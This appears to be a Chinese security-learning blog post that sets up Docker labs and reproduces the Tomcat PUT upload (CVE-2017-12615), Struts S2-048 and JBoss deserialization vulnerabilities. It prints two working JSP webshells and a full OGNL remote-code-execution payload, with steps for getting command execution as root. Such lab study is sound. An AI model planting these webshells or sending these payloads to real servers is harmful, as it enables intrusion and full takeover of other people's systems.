【网络安全的神秘世界】攻防环境搭建及漏洞原理学习

news2024/9/21 16:21:25

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

Kali安装docker

安装教程

PHP攻防环境搭建

中间件

介于应用系统和系统软件之间的软件。

能为多种应用程序合作互通、资源共享,同时还能为该应用程序提供相关服务的软件

1、Tomcat

Tomcat Put方法任意写文件漏洞(CVE-2017-12615)

Tomcat版本:7.0.0-7.0.79、8.5.19

此漏洞环境搭建:

docker search cve-2017-12615  //搜索相关镜像

在这里插入图片描述

docker pull docker.io/cved/cve-2017-12615  //把镜像拉取下来

在这里插入图片描述

docker run -d -p 8080:8080 cved/cve-2017-12615  //启动镜像

在这里插入图片描述

漏洞复现

先抓tomcat的包,右击发送到Repeater模块

!在这里插入图片描述

改成put方法,上传名为1.jsp的脚本文件(脚本在下面),脚本内容放在请求正文里

再通过send发送这个包,根据响应状态码判断包传到服务端后有没有攻击成功

在这里插入图片描述

状态码为201说明上传成功了

验证一下是否成功:上传到根目录了所以直接访问本地ip:端口/1.jsp

在这里插入图片描述

发现是个空白页面说明这个文件就是存在的,因为如果页面不存在返回结果是404

在这里插入图片描述

上面的1.jsp已经告诉了使用此脚本的密码为magedu

if("magedu".equals(request.getParameter("pwd")))

又定义了i参数用来接收用户的输入(写我们想执行的恶意代码)

java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

很好,那么我们现在就可以来输入一些自己想执行的代码了

在这里插入图片描述

ls查看当前目录有那些文件

ls是Linux命令,能出来结果,说明底层是Linux操作系统

windows用dir查看

在这里插入图片描述

目前已经可以想执行什么命令就执行什么命令了,成功拿下webshell(web页面上的shell)

思考:为什么攻击的时候加/能传输成功,不加/就上传失败呢?

出于安全考虑,Tomcat本身不允许用户上传脚本文件,但加上/后,后缀名变成了.jsp/,可是操作系统保存文件时,文件的后缀名不能有/,不过系统会自动把/抹掉以.jsp的形式保存,所以上传成功可以执行

在这里插入图片描述

1.jsp

<%
	if("magedu".equals(request.getParameter("pwd"))){  //if(pwd==magedu)密码是magedu
		java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();   //exec表示执行,i=用户输入的
		int a = -1;
		byte[] b = new byte[2048];
		out.print("<pre>");
		while((a=in.read(b))!=-1){
			out.println(new String(b));
		}
		out.print("</pre>");
	}
%>
介绍一款工具

蚁剑

webshell图形化,下面介绍结合蚁剑工具对tomcat的漏洞利用

蚁剑百度网盘

使用过程

将蚁剑漏洞的shell脚本上传至服务端

在这里插入图片描述

访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败

在这里插入图片描述

使用中国蚁剑连接

在这里插入图片描述

粘贴刚才上传shell.jsp后的url,连接蚁剑的密码是cmd

String cls =request.getParameter("cmd");

在这里插入图片描述

双击进入服务器,tomcat的配置就能随便翻阅了,至此已经成功

在这里插入图片描述

在这里插入图片描述

shell.jsp

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

tomcat、shell、蚁剑的关系

  1. 因为tomcat存在漏洞,所以可以上传shell(脚本文件)
  2. shell终端代码帮助攻击者实现远程命令执行的功能,而这些代码的运行要依靠tomcat
漏洞原理

造成漏洞的原因:

1、Tomacat的web.xml配置了可写(readonly=false),导致我们可以往服务器写(PUT)文件

在这里插入图片描述

2、Tomcat本身不允许上传jsp文件,1.jsp/加了/后就不是jsp文件了,系统保存文件1.jsp/ --> 1.jsp

(Tomcat对jsp是做了一定处理的,前面的流程中1.jsp/识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽视掉)

---------如果攻击成功?只需要两步

1、绕过网站的限制

2、让我上传的这个文件得以以正确的后缀名保存到服务器里

2、Struts

是一个基于java的web应用框架,被称为“漏洞之王”

S2-048远程代码执行漏洞(CVE-2017-9791)

漏洞原理

把该漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用

而由于 struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以执行OGNL表达式且能够调用 getText() 函数,而 getText() 函数的参数输入点又可以被用户直接控制,从而导致攻击者可以直接控制该点,构造恶意代码并执行从而实现RCE攻击

漏洞复习
docker search s2-048 //查找镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 //拉取镜像
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638  //启动镜像,8082是vps的端口,8080是容器本身的端口
<!-- 容器本身的端口不可以更改,但可以映射到vps的任意端口,只要没有被占用 -->

这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8081/showcase/即可查看到struts2的测试页面

触发OGNL表达式的位置是 Gangster Name 这个表单

访问Integration/Struts 1 Integration:

在这里插入图片描述

OGNL表达式格式:

${xxx}

在这里插入图片描述

把4+5的运算结果返回给我们,到这里已经实现命令执行了

在这里插入图片描述

------为什么会使用数学运算表达式来验证命令是否执行?

1、回显准确

2、对网站本身不造成危害

漏洞利用代码

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息

uid和gid都等于0说明是root用户

在这里插入图片描述

怎么挖这个漏洞?

通过工具进行信息收集,找到这个网站有没有struts框架

3、JBoss

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞简介

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

漏洞原理

XXX反序列化漏洞:

# 序列号和反序列化的作用:保证代码在传输过程中不因为格式的变化而导致不可用

序列化:把Java对象转换为字节序列(文本)的过程,便于数据进行保存、传输
反序列化:把字节序列恢复为Java对象的过程,以实现函数、对象的调用,完成代码承载的功能

序列化和反序列化本身属于正常的功能并不存在问题,问题在于,如果Java应用对于用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在调用过程中就有可能带来任意代码执行

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEBINF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream(); //获取用户输入
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点,用户输入的数据没有经过过滤就直接拿来使用了
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
漏洞复现

因为最近docker镜像无法拉取,所以要拉取前先去github上同步镜像源,具体流程请百度(下面直接给了JBoss镜像可以不用同步)

Jboss镜像

导入镜像源

docker import <容器文件路径> <新镜像名称>:<标签>

在这里插入图片描述

启动镜像

docker run -d -p 8082:8080 hackingpub/cve-2017-12149 /bin/bash run.sh

在这里插入图片描述

在这里插入图片描述

首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8082/ 即可看到JBoss默认页面

在这里插入图片描述

漏洞利用

发现是jboss框架后使用反序列化漏洞检测工具,输入ip点击检测

发现漏洞系统是linux,在cmd输入想要执行的代码

在这里插入图片描述

怎么挖这个漏洞?

通过工具进行信息收集,找到这个网站有没有struts框架

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2152781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2021的OWASP TOP 10

OWASP&#xff08;开放Web应用安全项目&#xff09;是一个非营利性组织&#xff0c;旨在提高软件安全性。 每四年一个更新&#xff0c;2025年就会再次更新&#xff0c;到时候这篇文章也会实时更新。 我主要从定义&#xff0c;场景&#xff0c;原因&#xff0c;影响&#xff0…

特征工程与交叉验证在机器学习中的应用

数据入口&#xff1a;学生考试表现影响因素数据集 - Heywhale.com 本数据集提供了关于影响学生考试成绩的多种因素的全面概述。数据集包含了有关学习习惯、出勤率、家长参与、资源获取等方面的信息。 数据说明 字段名说明Hours_Studied每周学习的小时数Attendance出勤率&…

【2024研赛】【华为杯E题】2024 年研究生数学建模比赛思路、代码、论文助攻

思路将在名片下群聊分享 高速公路应急车道紧急启用模型 高速公路拥堵现象的原因众多&#xff0c;除了交通事故外&#xff0c;最典型的就是部分路段出现瓶颈现象&#xff0c;主要原因是车辆汇聚&#xff0c;而拥堵后又容易蔓延。高速公路一些特定的路段容易形成堵点&#xff0…

2024年华为杯数学建模研赛(B题) 建模解析| 网络吞吐量 |小鹿学长带队指引全代码文章与思路

我是鹿鹿学长&#xff0c;就读于上海交通大学&#xff0c;截至目前已经帮2000人完成了建模与思路的构建的处理了&#xff5e; 本篇文章是鹿鹿学长经过深度思考&#xff0c;独辟蹊径&#xff0c;实现综合建模。独创复杂系统视角&#xff0c;帮助你解决研赛的难关呀。 完整内容可…

搜索引擎onesearch3实现解释和升级到Elasticsearch v8系列(二)-索引

场景 首先介绍测试的场景&#xff0c;本文schema定义 pdm文档索引&#xff0c;包括nested&#xff0c;扩展字段&#xff0c;文档属性扩展&#xff0c;其中_content字段是组件保留字段&#xff0c;支持文本内容 索引 索引服务索引的操作&#xff0c;包括构建&#xff0c;put …

计算机缺少vcruntime140.dll的解决方法,共有7种简单有效的方法

电脑出现找不到vcruntime140.dll,无法继续执行代码的情况&#xff0c;其实有很多原因。而且解决起来还是比较简单&#xff0c;主要是你要了解这个dll文件&#xff0c;今天小编就来给大家详细的分析一下找不到vcruntime140.dll的多种解决方法。 一、 问题概述 找不到vcruntime…

普元DWS - Linux下安装DWS标准版

1 前言 普元DWS全称是普元数据开发平台。 功能是对不同结构的数据进行转换处理&#xff0c;比如将MySQL的数据转换到达梦数据库中。 本文讲解如何在Linux下安装DWS标准版 2 DWS的版本 普元DWS有两个版本&#xff1a;微服务版和标准版。 微服务版是基于分布式部署的&#x…

linux----进程地址空间

前言 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、空间分布 二、栈和堆的特点 &#xff08;1&#xff09;栈堆相对而生&#xff0c;堆是向上增长的&#xff0c;栈是向下增长的。 验证&#xff1a;堆是向上增长的 这里我们看到申请的堆&#xff…

16_Python的迭代器

在Python中&#xff0c;迭代是一个非常重要的概念。迭代通常指的是按照某种顺序逐个访问容器中的元素的行为。如使用for循环遍历取值的过程。 可迭代对象&#xff08;Iterable&#xff09; 可迭代对象是任何可以返回一个迭代器的对象。简单来说&#xff0c;它是可以逐一返回其…

华为云服务综合实验

一、实验需求 本次实验内容基于华为云平台模拟企业web集群的构建&#xff0c;其中涉及的知识点包括Linux系统知识、nginx服务的安装及配置应用、云数据库 RDS(Relational Database Service,简称RDS)、虚拟私有云vpc、安全组、SFS弹性文件服务器以及负载均衡等。要求学生通过本…

UDS诊断-面试题2

bilibili视频推荐&#xff1a; 车载测试面试题UDS诊断协议&#xff0c;你知道什么是UDS诊断&#xff1f;ECU是什么&#xff1f;刷写ECU_哔哩哔哩_bilibili 总结&#xff1a; 1.汽车诊断UDS含义&#xff1a; 一套统一的诊断服务命令。 2.具体操作流程&#xff1a; 使用电脑…

高通欲收购英特尔:半导体行业的地震?

据《华尔街日报》报道&#xff0c;高通&#xff08;Qualcomm&#xff09;已经与陷入困境的英特尔&#xff08;Intel&#xff09;接洽&#xff0c;讨论潜在的收购事宜。尽管双方已经就此事进行了交流&#xff0c;但交易的成功与否仍存在诸多不确定性&#xff0c;且若真达成协议&…

java -- 枚举和注解

枚举 枚举介绍 &#xff08;1&#xff09;枚举&#xff1a;&#xff08;enumeration&#xff0c;简写 enum&#xff09; &#xff08;2&#xff09;枚举是一组常量的集合 &#xff08;3&#xff09;枚举属于一种特殊的类&#xff0c;里面只包含一组有限的特定的对象 枚举的两…

Nginx静态资源优化、压缩、缓存处理

一、静态资源优化配置语法 Nginx对静态资源如何进行优化配置。这里从三个属性配置进行优化&#xff1a; sendfile on; tcp_nopush on; tcp_nodeplay on; &#xff08;1&#xff09;sendfile&#xff0c;用来开启高效的文件传输模式。 语法sendfile on |off;默认值sendfile …

YOLOv9改进,YOLOv9主干网络替换为RepViT (CVPR 2024,清华提出,独家首发),助力涨点

摘要 轻量级视觉变换器(ViTs)在资源受限的移动设备上表现出优越的性能和较低的延迟,相比之下轻量级卷积神经网络(CNNs)稍显逊色。研究人员发现了许多轻量级 ViTs 和轻量级 CNNs 之间的结构联系。然而,它们在块结构、宏观和微观设计上的显著架构差异尚未得到充分研究。在…

Linux 磁盘清理重新格式化挂载脚本及问题解决

Linux 磁盘清理重新格式化挂载脚本&#xff1a;diskformat.sh #!/bin/bash for i in {1…8} do umount /data0$i done PIDARRAY() for i in a b c d e f g h do parted -s /dev/sd i m k l a b e l g p t p a r t e d − s / d e v / s d i mklabel gpt parted -s /dev/sd im…

序列化方式二——JSON之fastjson

fastjson&fastjson2(版本&#xff1a;1.2.83_noneautotype) 扩展点 Fastjson通过其丰富的扩展点显著增强了用户定制序列化和反序列化行为的灵活性&#xff0c;完美契合了实际开发中的多样化需求。在SpringBoot与SpringCloud的集成环境中&#xff0c;开发者能够利用Seriali…

Linux top命令详解与重点内容说明

文章目录 重点说明基本信息进程(任务)信息cpu占用信息%Cpu(s)内存信息交换内存信息每列含义说明交互命令多窗口模式颜色配置命令参数 重点说明 top命令非常强大&#xff0c;也非常复杂&#xff0c;很难面面俱到&#xff0c;也没有必要&#xff0c;这篇文章的目的是介绍重点&am…

Apache Doris 实践

Apache Doris 实践 官方使用指南&#xff1a;https://doris.incubator.apache.org/zh-CN/docs/install/source-install/compilation-with-docker/ 手动安装 下载二进制安装包https://apache-doris-releases.oss-accelerate.aliyuncs.com/apache-doris-2.1.5-bin-x64.tar.gz …

企业搭建VR虚拟展厅,如何选择搭建平台?

选择虚拟展厅搭建平台时&#xff0c;需要综合考虑多个因素以确保平台能够满足您的具体需求并提供高质量的展示效果。以下是一些关键的选择标准&#xff1a; 1. 技术实力与创新能力 技术平台选择&#xff1a;确保平台支持虚拟现实&#xff08;VR&#xff09;、增强现实&#xf…